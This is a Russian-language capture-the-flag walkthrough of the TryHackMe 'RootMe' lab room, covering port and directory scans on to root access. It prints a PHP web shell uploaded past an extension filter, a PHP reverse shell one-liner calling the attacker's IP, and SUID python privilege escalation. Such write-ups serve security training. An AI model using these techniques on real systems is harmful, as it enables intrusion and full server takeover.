Hi, my name is Vitalii Rudnykh 👋

Jun 18, 2022

📝 TryHackMe. Walkthrough: RootMe

  • Площадка: TryHackMe
  • Название комнаты: RootMe
  • Сложность: Easy

Task 1.

Просто нажмите Start Machine для запуска.

Ответ: Не требуется.

Task 2.

Scan the machine, how many ports are open? *

Требуется просканировать сервер и ответить сколько открытых портов. Решается через Nmap одной командой:

$ nmap -A 10.10.254.133
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Ключ -A включает определение сервисов на открытых портах.

Ответ: 2


What version of Apache is running? *.*.**

Берем ответ из вывода Nmap.

Ответ: 2.*.**


What service is running on port 22? ***

Ответ: s**


Find directories on the web server using the GoBuster tool.

Ответ: Не требуется.


What is the hidden directory? /*****/

Здесь необходимо просканировать директории веб-сервера и найти скрытую директорию. Предлагается использовать тулзу GoBuster, но я использовал DirSearch, разницы особой нет.

$ python3 dirsearch.py -u http://10.10.254.133/
...
[21:21:01] 200 -  732B  - /panel/
[21:21:20] 200 -  744B  - /uploads/

Вводим ответ который подходит по маске.

Ответ: /p****/

Task 3.

Find a form to upload and get a reverse shell, and find the flag. user.txt ***{***_***_*_*****}

Форма для загрузки файлов находится здесь http://10.10.254.133/panel/. Подготавливаем shell.php и пробуем загрузить.

<?php system($_POST['a']); ?>

pic 1

Увы, форма не пропускает файлы с расширением .php. Будем байпассить расширение, пробуем переименовать файл в shell.php5 и загружаем.

Все загруженные файлы попадают в директорию /uploads/.

pic 2

Пробуем открыть. Работает.

Так как нам известно имя файла в котором содежится флаг, пробуем решить задачу одной командой.

pic 3

find / -type f -name 'user.txt' -exec cat {} \;

Ответ: THM{***_g*t_*_s****}

Task 4.

Search for files with SUID permission, which file is weird? /***/***/******

Необходимо найти бинарный файл с флагом разрешения SUID. Этот флаг позволяет запускать бинарные файлы с разрешениями владельца этого файла. То есть, если владелец бинарника root, то он будет запущен от root’а, даже сторонним пользователем. Выполняем команду:

find / -perm -4000

pic 4

Среди всех файлов, наиболее подозрительным кажется /usr/bin/python.

Ответ: /usr/bin/p*****


Find a form to escalate your privileges.

Запускаем реверс шелл:

php -r '$sock=fsockopen("10.9.1.210",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

Далее, уходим еще глубже в кроличью нору:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

И становимся root’ом.

Ответ: Не требуется.


root.txt ***{********************}

find / -type f -name 'root.txt' -exec cat {} \;

Ответ: THM{p*******3_*********0n}